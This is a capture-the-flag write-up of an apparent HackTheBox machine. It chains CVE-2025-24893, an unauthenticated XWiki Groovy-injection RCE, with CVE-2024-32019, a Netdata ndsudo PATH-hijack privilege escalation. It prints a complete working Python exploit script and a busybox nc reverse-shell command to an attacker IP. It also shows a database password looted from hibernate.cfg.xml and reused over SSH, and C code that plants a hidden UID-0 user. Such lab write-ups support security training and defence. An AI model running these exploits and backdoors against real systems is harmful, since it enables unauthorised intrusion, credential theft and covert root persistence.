RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http syn-ack Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
| Supported Methods: OPTIONS GET HEAD PROPFIND LOCK UNLOCK
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-webdav-scan:
| Server Type: Jetty(10.0.20)
| WebDAV type: Unknown
|_ Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| http-robots.txt: 50 disallowed entries (40 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
| /xwiki/bin/undelete/ /xwiki/bin/reset/ /xwiki/bin/register/
| /xwiki/bin/propupdate/ /xwiki/bin/propadd/ /xwiki/bin/propdisable/
| /xwiki/bin/propenable/ /xwiki/bin/propdelete/ /xwiki/bin/objectadd/
| /xwiki/bin/commentadd/ /xwiki/bin/commentsave/ /xwiki/bin/objectsync/
| /xwiki/bin/objectremove/ /xwiki/bin/attach/ /xwiki/bin/upload/
| /xwiki/bin/temp/ /xwiki/bin/downloadrev/ /xwiki/bin/dot/
| /xwiki/bin/delattachment/ /xwiki/bin/skin/ /xwiki/bin/jsx/ /xwiki/bin/ssx/
| /xwiki/bin/login/ /xwiki/bin/loginsubmit/ /xwiki/bin/loginerror/
|_/xwiki/bin/logout/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPort 8080 emerges exposed—XWiki (Jetty/10.0.20) lurking on the surface. XWiki carries a notorious lineage of authenticated RCEs through Velocity templates and Groovy scripts. The /xwiki/bin/* endpoints, exhumed from robots.txt, hint at unrestricted access to the platform's full attack surface.
Website
A code editor greets us on port 80:

Clicking through the interface reveals a subdomain: wiki.editor.htb. Following the trail, we're seamlessly rerouted to port 8080, landing on an XWiki instance:

Same backend, different façade:
$ whatweb http://$target_ip:8080
http://10.129.12.71:8080 [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], Jetty[10.0.20], RedirectLocation[http://10.129.142.71:8080/xwiki]
http://10.129.12.71:8080/xwiki [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], Jetty[10.0.20], RedirectLocation[http://10.129.142.71:8080/xwiki/]
http://10.129.12.71:8080/xwiki/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], Jetty[10.0.20], RedirectLocation[http://10.129.12.71:8080/xwiki/bin/view/Main/], UncommonHeaders[content-script-type]
http://10.129.12.71:8080/xwiki/bin/view/Main/ [200 OK] Content-Language[en], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], probably Index-Of, Jetty[10.0.20], Prototype, Script[application/json,en], Title[XWiki - Main - Intro], UncommonHeaders[content-script-type], XWiki
$ whatweb http://wiki.editor.htb
http://wiki.editor.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], RedirectLocation[http://wiki.editor.htb/xwiki], nginx[1.18.0]
http://wiki.editor.htb/xwiki [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], RedirectLocation[http://wiki.editor.htb/xwiki/], nginx[1.18.0]
http://wiki.editor.htb/xwiki/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], RedirectLocation[http://wiki.editor.htb/xwiki/bin/view/Main/], UncommonHeaders[content-script-type], nginx[1.18.0]
http://wiki.editor.htb/xwiki/bin/view/Main/ [200 OK] Content-Language[en], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], probably Index-Of, Prototype, Script[application/json,en], Title[XWiki - Main - Intro], UncommonHeaders[content-script-type], XWiki, nginx[1.18.0]Two entry points, one target: XWiki, deployed behind Jetty 10.0.20, fronted by nginx. The system gives up its versioning breadcrumbs in the footer:

Additionally we see something interesting from the crawler:
WEB
XWiki
XWiki stands as a seasoned, Java-based open-source enterprise wiki engine, typically deployed atop Jetty or Tomcat, coupled with a relational backend via Hibernate, and exposing a variety of programmable interfaces—WebDAV, REST, and XML-RPC among them.
Its URL design adheres to a well-defined pattern:
<host>/<context>/<type>/<action>/<entity‑path>?<query‑params>Example in our case:
GET wiki.editor.htb/xwiki/bin/view/Main/Installation/URL anatomy:
xwiki: the context path/bin: routes to XWiki's dynamic resource layer (e.g. view, get, download)view: the action to render pages with full wiki syntax, macros, and the UI skinMain/Installation: the path composed of the space (Main) and the document (Installation)
CVE 2025‑24893
Where
The system serves XWiki version 15.10.8 on Jetty. Only the wiki frontend is exposed to us, which is referred to the xwiki-platform repository—current release stands at 17.6.0.
Under their Security section, a wave of disclosures catches the eye. Among them, one stands out: a critical unauthenticated RCE—no login required:

The CVE is hot off the press, affecting versions prior to 15.10.11:

An N-day game.
What
CVE‑2025‑24893 is a zero-auth Remote Code Execution bug in the SolrSearch macro, first revealed by IONIX and later weaponized in a public PoC.
The vulnerability lies in the SolrSearch macro (RSS output mode) ,which provides search indexing via Solr, returning responses in various formats — from macro logic to unauthenticated Groovy code execution.
The entry point is the handleSolrSearchRequest macro defined at line 958 of Main.SolrSearchMacros.xml:
#macro(handleSolrSearchRequest)
## Narrow facet map to enabled facets only.
#set($discard = $solrConfig.facetQuery.keySet().retainAll($solrConfig.facetFields))
#if ($request.media == 'rss') ## ← attacker sets media=rss
#outputRSSFeed() ## ← vulnerable branch
#elseif ("$!request.r" == '1' || $solrConfig.facetQuery.isEmpty())
#displaySearchUI()
#else
## Build redirect with facet pre-selection.
...
$response.sendRedirect($url)
#end
#endWe can pass ?media=rss as request parameter to trigger the RSS rendering branch. The vulnerable injection point sits in outputRSSFeed macro at line 946:
#set($title = $services.localization.render('search.rss', ["[$text]"]))
#set ($discard = $feed.setTitle($title))
#set ($discard = $feed.setDescription($title))$text comes straight from the user-input query-string retrieved from the processRequestParameters macro, initialized from the very starting of the outputRSSFeed macro worflow:
#set ($text = "$!request.text")So $feed will be set with the injected content from $title, as the title name and description in the RSS:
#set ($discard = $feed.setTitle($title))
#set ($discard = $feed.setDescription($title))Then processed by the Xwiki application at line 955:
#set ($discard = $response.setContentType('application/rss+xml'))
$xwiki.feed.getFeedOutput($feed, 'rss_2.0')At this point $xwiki.feed.getFeedOutput() returns an RSS string whose <title> and <description> elements contain the attacker–controlled $text.
That RSS string—now packed with unescaped macro syntax—is sent through XWiki's rendering engine. This engine re-parses the content, evaluating any macro constructs such as:
}}}{{async async=false}}{{groovy}}println("PWN:"+(23+19)){{/groovy}}{{/async}}XWiki treats this like any other wiki page and runs the groovy macro—which, by default, compiles and executes inline Groovy code.
XWiki renders it internally like:
- The engine now executes the Rendering Transformations chain (Macros, Syntax, HTML clean-ups, etc.).
- During that pass every wiki macro delimiter (
{{…}}) is detected:
{{async}}→ executed{{groovy}}→ Groovy script is compiled & run (because the default Groovy-Script macro is enabled for any snippet found at this stage).
What looks like a feed becomes a code execution vector. A classic second-order SSTI, triggered via an unexpected rendering path.
How
1. PoC Script
Therefore, the entire exploit hinges on this dispatcher:
- Send
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=PAYLOAD - Dispatcher (
handleSolrSearchRequest) routes the request viabin/get/Main/SolrSearchpath. - Dispatcher detects
media=rss - Calls
#outputRSSFeed, starting the vulnerable workflow processingPAYLOADpassed viatextparameter.
Without this parameter the call never reaches
outputRSSFeed, so no Groovy injection will be possible.
A PoC is provided in ExploitDB.
2. Manual
We can visit the vulnerable endpoint directly: http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch.
Then inject the SSTI payload, provided by Ionix, into the search field:

This generates an RSS feed link:
http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?highlight=true&r=1&sortOrder=desc&sort=date&text=PAYLOADWhen the platform renders the RSS output, the malicious Groovy script executes. Trigger it by simply clicking on it:

The feed is generated—XWiki renders—Groovy fires—and we get code execution.
Exploit
An modified version of PoC:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : CVE-2025-24893 — XWiki unauthenticated RCE via SolrSearch
# Date : 2025-08-03
# Author : Axura (@4xura) - https://4xura.com
# Version : XWiki <= 15.10.10
#
# Usage:
# ------
# ./CVE-2025-24893.py example.com
# ./CVE-2025-24893.py https:/example.com -c 'cat /etc/passwd'
# ./CVE-2025-24893.py https:/example.com --proxy http://127.0.0.1:8080 -c 'id'
#
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#
import argparse
import sys
import requests
import html
import urllib.parse as up
from typing import Optional
def choose_base(url: str, timeout: int, verify: bool) -> Optional[str]:
"""Return working base URL with schema if reachable, else None."""
if url.startswith("http"):
try:
r = requests.get(url, timeout=timeout, allow_redirects=True, verify=verify)
return url if r.status_code < 400 else None
except requests.RequestException:
return None
for scheme in ("https://", "http://"):
try:
r = requests.get(f"{scheme}{url}", timeout=timeout, allow_redirects=True, verify=verify)
if r.status_code < 400:
return f"{scheme}{url}"
except requests.RequestException:
pass
return None
def build_payload(cmd: str) -> str:
"""Return URL-encoded Groovy snippet wrapped for the vuln."""
groovy = f'println("{cmd}".execute().text)'
wrapped = '}}}{{async async=false}}{{groovy}}' + groovy + '{{/groovy}}{{/async}}'
return up.quote(wrapped, safe="")
def exploit(base: str, cmd: str, timeout: int, session: requests.Session) -> requests.Response:
payload = build_payload(cmd)
url = f"{base}/bin/get/Main/SolrSearch?media=rss&text={payload}"
print(f"[+] Request → {url}")
return session.get(url, timeout=timeout)
def detect_vuln(base: str, timeout: int, session: requests.Session) -> bool:
test_groovy = 'println("Exploit Successful! Result: " + (13 + 37))'
test_marker = "Exploit Successful! Result: 50"
payload = '}}}{{async async=false}}{{groovy}}' + test_groovy + '{{/groovy}}{{/async}}'
test_url = f"{base}/bin/get/Main/SolrSearch?media=rss&text={up.quote(payload, safe='')}"
print(f"[*] Testing → {test_url}")
r = session.get(test_url, timeout=timeout)
return test_marker in html.unescape(r.text)
def main():
ap = argparse.ArgumentParser(
description="CVE-2025-24893 exploit (XWiki SolrSearch unauth RCE)"
)
ap.add_argument("target", help="Hostname or URL (e.g. example.com or https://example.com)")
ap.add_argument("-c", "--cmd", default="id", help="Command to run (default: id)")
ap.add_argument("--timeout", type=int, default=10, help="Request timeout (s)")
ap.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)")
ap.add_argument("--insecure", action="store_true", help="Ignore TLS verification")
args = ap.parse_args()
BANNER = "=" * 78
print(BANNER)
print(" XWiki CVE-2025-24893 • unauthenticated RCE exploit")
print(BANNER)
sess = requests.Session()
if args.proxy:
sess.proxies.update({"http": args.proxy, "https": args.proxy})
base = choose_base(args.target, args.timeout, verify=not args.insecure)
if not base:
print("[!] Target unreachable on HTTP/HTTPS")
sys.exit(1)
print(f"[✓] Using base URL: {base}")
print("[*] Verifying vulnerability…")
if not detect_vuln(base, args.timeout, sess):
print("[✗] Not vulnerable or already patched")
sys.exit(2)
print("[✓] Vulnerable! executing payload…")
try:
r = exploit(base, args.cmd, args.timeout, sess)
if r.status_code == 200:
print("[✓] Exploit success — response follows:\n")
print(r.text)
sys.exit(0)
else:
print(f"[✗] Unexpected HTTP status: {r.status_code}")
sys.exit(3)
except requests.RequestException as e:
print(f"[✗] Exploit error: {e}")
sys.exit(3)
if __name__ == "__main__":
main()Test run:
python CVE-2025-24893.py http://wiki.editor.htb/xwiki -c 'cat /etc/passwd'
Jackpot.
With RCE in the bag, it's time to pivot—aiming for shell access. Standard reverse shell payloads fall flat—likely due to limited shell environment or missing interpreters.
So, we probe the box:
python CVE-2025-24893.py http://wiki.editor.htb/xwiki \
-c 'ls -1 /bin'We see other binaries like nc, busybox are available under /bin:

Therefore, we chain them for a clean reverse shell::
python CVE-2025-24893.py http://wiki.editor.htb/xwiki \
-c '/bin/busybox nc 10.10.12.11 4444 -e sh'Listener catches. Session drops:

We land as user: xwiki.
USER
Our next target is user oliver.
The hostnames give it away:
xwiki@editor:~i$ getent hosts
127.0.0.1 localhost
127.0.1.1 editor editor.htb wiki.editor.htb
127.0.0.1 ip6-localhost ip6-loopback
xwiki@editor:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:b0:b8:96 brd ff:ff:ff:ff:ff:ff
altname enp2s0
altname ens32
inet 10.129.183.16/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 3417sec preferred_lft 3417sec
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:06:b8:02:75 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft foreverWe're in a Dockerized XWiki instance, and we need out. As the first step—loot the usual suspects—config files.
Hibernate
By default, XWiki stores its secrets & runtime settings in:
| Path | Why it matters |
|---|---|
| /etc/xwiki/hibernate.cfg.xml | Direct DB access → dump credentials, manipulate user table, get hashes. |
| /etc/xwiki/xwiki.cfg | Can show if LDAP/OAuth is enabled and where those creds live. |
| /etc/xwiki/xwiki.properties | SMTP creds often re-used elsewhere. permanentDir tells us where files land. |
| /etc/xwiki/xwiki.authentication.properties | Re-use against AD / jump. |
| /var/lib/xwiki/data | Search for *.xml, *.bak, .zip; attachments |
| /var/lib/xwiki | Contains web.xml, jars (custom plugins with hard-coded secrets). |
| /etc/default/xwiki (/etc/default/jetty9, /etc/default/tomcat9) | Sometimes embeds db creds. |
| /etc/tomcat9/tomcat-users.xml | Gives direct WAR-upload privilege. |
| xwiki.service | If writable, path-hijack privesc. |
Hibernate—XWiki's ORM backbone—is a goldmine. It bridges Java and SQL, and its config often harbors plaintext DB credentials.
And the LinePEAS output also tells a lot:
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users
xwiki 1135 1.2 22.5 3950068 903168 ? Ssl 00:18 6:58 java --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED -Xmx1024m -Dxwiki.data.dir=/var/lib/xwiki/data -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/xwiki/data -Djetty.home=jetty -Djetty.base=. -Dfile.encoding=UTF8 -Djetty.http.port=8080 -jar jetty/start.jar jetty.http.port=8080 STOP.KEY=xwiki STOP.PORT=8079
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:46405 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8125 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 1135/java
tcp6 0 0 127.0.0.1:8079 :::* LISTEN 1135/javaWe see Netdata (port 19999) running. Will be exploited later.
MySQL on 3306 and xwiki JVM points to /var/lib/xwiki/data, this means we can dump DB credentials stored in /etc/xwiki/hibernate.cfg.xml:
xwiki@editor:/tmp$ cat /etc/xwiki/hibernate.cfg.xml | grep pass
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>It turns out theEd1t0rTeam99 is the password of user oliver over SSH:

User oliver: Compromised.
ROOT
NetDATA
From previous LinPEAS enumeration, we already knew Netdata is humming on port 19999:
oliver@editor:~$ netstat -lantp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:46405 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8125 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN -
...Netdata is an open-source, real-time monitoring platform designed to give us instant insight into everything that's happening on a system. It serves its own interactive dashboard through an embedded web server (default port 19999).
Tunnel it out:
ssh -L 19999:127.0.0.1:19999 [email protected]
This kind of service on Linux is always a huge attack vector. And the main page also urges for a version update:

NetDATA 1.45.2 is vulnerable to CVE-2024-32019, which wasn't patched until 1.45.3.
CVE-2024-32019
In vulnerable builds, ndsudo, being part of the NetDATA tookit package, is installed with the SUID bit and grants elevated privileges to a limited set of whitelisted commands. But here's the kicker—it honors the caller's PATH.
First we can verify if the target is vulnerable. The Netdata programs live in /opt/netdata/bin, so we have to call them with the full path:
oliver@editor:~$ /opt/netdata/bin/netdata -W buildinfo
Packaging:
Netdata Version ____________________________________________ : v1.45.2
Installation Type __________________________________________ : manual-static
Package Architecture _______________________________________ : x86_64
Package Distro _____________________________________________ : unknown
Configure Options __________________________________________ : dummy-configure-command
Default Directories:
User Configurations ________________________________________ : /opt/netdata/etc/netdata
Stock Configurations _______________________________________ : /opt/netdata/usr/lib/netdata/conf.d
Ephemeral Databases (metrics data, metadata) _______________ : /opt/netdata/var/cache/netdata
Permanent Databases ________________________________________ : /opt/netdata/var/lib/netdata
Plugins ____________________________________________________ : /opt/netdata/usr/libexec/netdata/plugins.d
Static Web Files ___________________________________________ : /opt/netdata/usr/share/netdata/web
Log Files __________________________________________________ : /opt/netdata/var/log/netdata
Lock Files _________________________________________________ : /opt/netdata/var/lib/netdata/lock
Home _______________________________________________________ : /opt/netdata/var/lib/netdata
...Confirming its plugins path, ndsudo (or ndsudo-helper) would live there if this package included it. So let's look:
oliver@editor:~$ ls -l /opt/netdata/usr/libexec/netdata/plugins.d | grep -E 'ndsudo|sudo'
ndsudo
oliver@editor:~$ stat -c '%A %n' /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- /opt/netdata/usr/libexec/netdata/plugins.d/ndsudoThe helper presents with SUID set.
Check the commit for this patch on Github:

This explains everything. All we need to do is just PATH hijack to complete the privesc.
Exploit
Check ndsudo usage:
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .This means the command names are restricted to nvme-list, nvme-smart-log, … And the called executables are also required to be the matching nvme, …
Goal: Create a stealth root-level user (axura) with a preset hash:
$ openssl passwd -6 'Axura4sure~'
$6$E/1Vun2xYDe7gV8P$2.XSFy9oBNQG9Y5JQQ.tfzCdbO9ZYWkXX9OPbrp872RkW7slq.Al.S9QhBHlsQuJqZ766hBUvTfMA11oMfh0J.Then write a simple C script to ask the root user to add us as root:
// pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(void) {
if (setgid(0) != 0 || setuid(0) != 0) {
perror("setuid / setgid");
exit(EXIT_FAILURE);
}
execl("/usr/sbin/useradd",
"useradd",
"-u", "0", "-o",
"-g", "0",
"-M",
"-s", "/bin/bash",
"-p","$6$E/1Vun2xYDe7gV8P$2.XSFy9oBNQG9Y5JQQ.tfzCdbO9ZYWkXX9OPbrp872RkW7slq.Al.S9QhBHlsQuJqZ766hBUvTfMA11oMfh0J.",
"axura",
(char *)NULL);
perror("execl");
return EXIT_FAILURE;
}Compile statically on our local machine:
gcc -o nvme -g -O0 -static pwn.cUpload the binary to the target machine, and grant it execute permission:
chmod +x nvmeThen simply run ndsudo + <hijacked bianry>, corresponding to the malicious executable name, under the current attack PATH:
PATH=/home/oliver \
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listRooted:

And stealthy.

Comments | 1 comment
very nice write-up! thx